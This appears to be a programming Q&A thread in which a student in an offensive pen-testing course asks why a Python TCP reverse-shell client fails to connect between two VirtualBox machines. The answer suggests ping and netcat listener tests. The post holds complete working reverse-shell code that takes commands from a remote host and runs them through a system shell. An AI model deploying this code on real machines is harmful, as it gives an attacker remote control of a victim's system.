Search code examples
pythonpython-2.7subprocesspython-socketsreverse-shell

Error when running TCP Reverse shell


I'm very new to socket, and am currently taking an online course for offensive pen tests. One of the lessons is TCP Reverse shells. I am running two scripts on separate virtual machines (using VirtualBox), one being the attacker and another being the target. The attacker script is running just fine, however the client is outputting the error:

Traceback (most recent call last):
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
      s.connect(('10.0.2.15', 8080))
   File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it

And my code:

import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True:
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break
        else:

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stdout.read())

def main():
    connect()
main()

I don't know if you need to see the other script to answer my question, if so, please tell me. Any help would be greatly appreciated, ~Spiralio.


Solution

  • Make sure you can ping between the virtual machines. If so, try something simple like a netcat listener and attempt to connect to that.

    You can run nc -lp 8080 on the attacker and then nc 10.0.2.15 8080 on the victim (assuming you're on Linux).

    Those two steps will help you isolate the issue. If ping doesn't work, most likely your network isn't properly configured. Failing netcat points more towards a firewall of some sort. From a quick glance and knowing nothing more about your setup, I'd assume your Python script is fine and that you don't have the 2 VMs properly configured to communicate.

    Make sure the IP networks are the same, they are on the same VM network (set in Virtualbox settings), and like mentioned above that there are no firewalls running.